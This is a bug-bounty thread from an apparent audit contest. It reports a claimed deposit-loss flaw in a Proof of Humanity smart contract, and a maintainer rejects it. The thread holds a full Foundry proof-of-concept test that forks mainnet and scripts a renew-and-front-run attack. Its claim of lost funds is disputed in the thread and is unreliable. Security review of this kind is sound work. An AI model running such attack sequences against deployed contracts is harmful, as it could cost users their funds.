Normal user can loss deposit because ownership of previous owner is not removed

[hats-bug-reporter[bot]]

Github username: -- Twitter username: itsabinashb Submission hash (on-chain): 0xacee50e90397527cb53e289f6428f9902f3146dcc588a6d449d179f65adfe116 Severity: high

Description: Description

As after expiration of a humanityId the ownership is not removed the previous owner can use it to renew his Humanity even after someone else claimed it already, which results to loss of funnds of the user who claimed this humanity.

Attack scenario

1. There is malicious user whose Humanity has expired.

2. One normal user used this humamityId to claim humanity. He called claimHumanity() with that humanityId.

3. The malicious user still is the owner of that humanityId.

4. Malicious user called renewHumanity(), got vouched & called advanceState().

5. Now the normal user calls the advanceState.

6. Till now everything is okay.

7. We are assmuning there is no dispute.

8. Now malicious user called the executeRequest() for both request ids - one of him and another of normal user before the normal user. Now he is Human.

9. Now if the normal user call the executeRequest() with his requestId the call will because request is already executed . As result he lost all his deposit.

10. Proof of Concept (PoC) File Initialize foundry, follow the instruction here. Create a folder named Test & create a file called poh.t.sol. Then paste this in that file:

//SPDX-License-Identifier:MIT
pragma solidity 0.8.20;

import {Test, console} from "forge-std/Test.sol";
import "../contracts/ProofOfHumanity.sol";
import "../contracts/test-helpers/MockArbitrator.sol";
import "../contracts/test-helpers/MockUpgradableProxy.sol";
import "@kleros/erc-792/contracts/IArbitrator.sol";

contract pohTest is Test {
    address wNative;
    IArbitrator arbitrator;

    // ARBITRATOR_EXTRA_DATA set in setUp()
    string registrationMetaEvidence;
    string clearingMetaEvidence;
    uint256 requestBaseDeposit;
    uint40 humanityLifespan;
    uint40 renewalPeriodDuration;
    uint40 challengePeriodDuration;
    uint40 failedRevocationCooldown;
    uint256[3] multipliers = [10000, 10000, 20000];
    uint32 requiredNumberOfVouches;
    MockUpgradableProxy proxy;
    ProofOfHumanity poh;
    address CCPOH; // crossChainProofOfHumanity
    string MAINNET_RPC;

    function setUp() public {
        MAINNET_RPC = vm.envString("MAINNET_RPC");
        vm.createSelectFork(MAINNET_RPC);
        bytes
            memory ARBITRATOR_EXTRA_DATA = "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001";

        arbitrator = IArbitrator(new MockArbitrator(0, 1 days)); // 1 day is appeal timeOut
        registrationMetaEvidence = "/ipfs/QmadJhyPxhk5AYrdE6JMwhC7TpsA47YZwFP28VKkr1ffJF";
        clearingMetaEvidence = "/ipfs/QmRqKmjVk1FcCRcTnuZmMG6SZEBB9LkUJb7Z4SVhJGHEfw";
        requestBaseDeposit = 110000000000000000000; // 110 ether
        humanityLifespan = 31557600; // 365.25 days
        renewalPeriodDuration = 28512000; // 330 days
        challengePeriodDuration = 302400; // 3.5 days
        failedRevocationCooldown = 302400;
        requiredNumberOfVouches = 2;
        wNative = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // WETH [ethereum mainet]
        proxy = new MockUpgradableProxy();
        ProofOfHumanity _poh = new ProofOfHumanity();
        poh = ProofOfHumanity(address(proxy));
        proxy.setImplementation(address(_poh));
        poh.initialize(
            wNative,
            arbitrator,
            ARBITRATOR_EXTRA_DATA,
            registrationMetaEvidence,
            clearingMetaEvidence,
            requestBaseDeposit,
            humanityLifespan,
            renewalPeriodDuration,
            challengePeriodDuration,
            failedRevocationCooldown,
            multipliers,
            requiredNumberOfVouches
        );
        CCPOH = makeAddr("CROSS_CHAIN_PROOF_OF_HUMANITY");
        poh.changeCrossChainProofOfHumanity(CCPOH);
        console.log("arbitration cost: ", arbitrator.arbitrationCost(ARBITRATOR_EXTRA_DATA)); // 0
    }
        function test_revertClaimingByRenewal(bytes20 dirtyId, bytes20 voucherId, bytes20 voucherId2) public {
        vm.assume(dirtyId != 0 && voucherId != 0);
        uint startTime = vm.getBlockTimestamp();
        address malUser = makeAddr("malUser");
        address voucherAccount = makeAddr("voucherAccount");
        address voucherAccount_2 = makeAddr("voucherAccount_2");
        vm.deal(malUser, 1000 ether);
        vm.deal(voucherAccount, 1000 ether);
        vm.startPrank(CCPOH);
        poh.ccGrantHumanity(dirtyId, malUser, uint40(startTime + 331 days));
        poh.ccGrantHumanity(voucherId, voucherAccount, uint40(startTime + 360 days));
        poh.ccGrantHumanity(voucherId2, voucherAccount_2, uint40(startTime + 360 days));
        vm.stopPrank();
        vm.warp(startTime + 340 days);
        address claimer = makeAddr("claimer");
        vm.deal(claimer, 1000 ether);
        vm.prank(claimer);
        poh.claimHumanity{value: 200 ether}(dirtyId, "", "");
        vm.prank(voucherAccount);
        poh.addVouch(claimer, dirtyId);

        address[] memory vouches = new address[](1);
        vouches[0] = voucherAccount_2;

        address[] memory vouches2 = new address[](1);
        vouches2[0] = voucherAccount;

        vm.prank(malUser);
        poh.renewHumanity{value: 200 ether}("");
        vm.prank(voucherAccount_2);
        poh.addVouch(malUser, dirtyId);
        vm.prank(malUser);
        poh.advanceState(malUser, vouches, new ProofOfHumanity.SignatureVouch[](0)); // requestId = 1
        assertNotEq(malUser, claimer);
        vm.prank(claimer);
        poh.advanceState(claimer, vouches2, new ProofOfHumanity.SignatureVouch[](0)); // requestId = 0

        (, , uint48 pendingRequest, , address owner, ) = poh.getHumanityInfo(dirtyId);
        assertEq(owner, malUser, "MalUser is not owner!");
        assertEq(pendingRequest, 2, "Pending request is not 2");

        // For ease we are assuming there is no dispute for both of requests, so skipping the challenge period

        vm.warp(vm.getBlockTimestamp() + 4 days);
        vm.startPrank(malUser);
        // malicious user first executed the normal user's request then his own request
        poh.executeRequest(dirtyId, 0);
        poh.executeRequest(dirtyId, 1);
        vm.stopPrank();
        vm.prank(claimer);
        vm.expectRevert();
        // the claimer's request was reverted so he won't receive his withdrawals i.e he
        // lost his all funds
        poh.executeRequest(dirtyId, 0);

        assertFalse(poh.isHuman(claimer));
        assertTrue(poh.isHuman(malUser));
    }

    }

2. Revised Code File (Optional)

[itsabinashb]

In setUp() set the requiredNumberOfVouches to 1, actually copy pasted from previous report so forgot to change it.

In description I wrote : "... even after someone else claimed it already", here 'claimed' means not fully claimed, I wanted to say: even after someone else called claimHumanity() for this humanityId already.

Additionally, although it is visible I did not mention it in report so mentioning here, it is a front running attack where the front run is done just after challenge period ends, here front run is only required if the claimer calls the executeRequest() little after challenge period ends, if claimer does not do that then front running is not required.

At the end of the test we can confirm that the owner of the dirtyId is the malUser:

(, , , , address owner2, ) = poh.getHumanityInfo(dirtyId);
assertEq(owner2, malUser, "MalUser is not owner!");

[clesaege]

7. We are assmuning there is no dispute.

If two users are claiming the same Humanity ID, one of them is necessarily wrong. Per contest rules are excluded: Issues about challengers missing some invalid profile submissions/removals (for the purpose of this review, we will assume challengers are perfect and omniscient and that they always challenge invalid actions before the deadline).

Even without that, I don't see why he would lose his deposit as if the first user called execute request for both, the deposit would have been reimbursed there.

[itsabinashb]

7. We are assmuning there is no dispute. If two users are claiming the same Humanity ID, one of them is necessarily wrong. Per contest rules are excluded: Issues about challengers missing some invalid profile submissions/removals (for the purpose of this review, we will assume challengers are perfect and omniscient and that they always challenge invalid actions before the deadline).

Even without that, I don't see why he would lose his deposit as if the first user called execute request for both, the deposit would have been reimburse there.

But by doing this the attacker can DOS the user to get humanity of his choice. Should not it be considered as low severity? 🤔

[clesaege]

But by doing this the attacker can DOS the user to get humanity of his choice. Should not it be considered as low severity? 🤔

This report hasn't been able to demonstrate that.

There is only one person who can claim a specific humanity (not from a code point of view, but from a registration rule point of view).

As per the competition rules, are excluded: Issues about challengers missing some invalid profile submissions/removals (for the purpose of this review, we will assume challengers are perfect and omniscient and that they always challenge invalid actions before the deadline).

So if you need to have a challengeable profil not challenged (we assume challenger challenge invalid requests) for the vulnerability to work, it is not a vulnerability.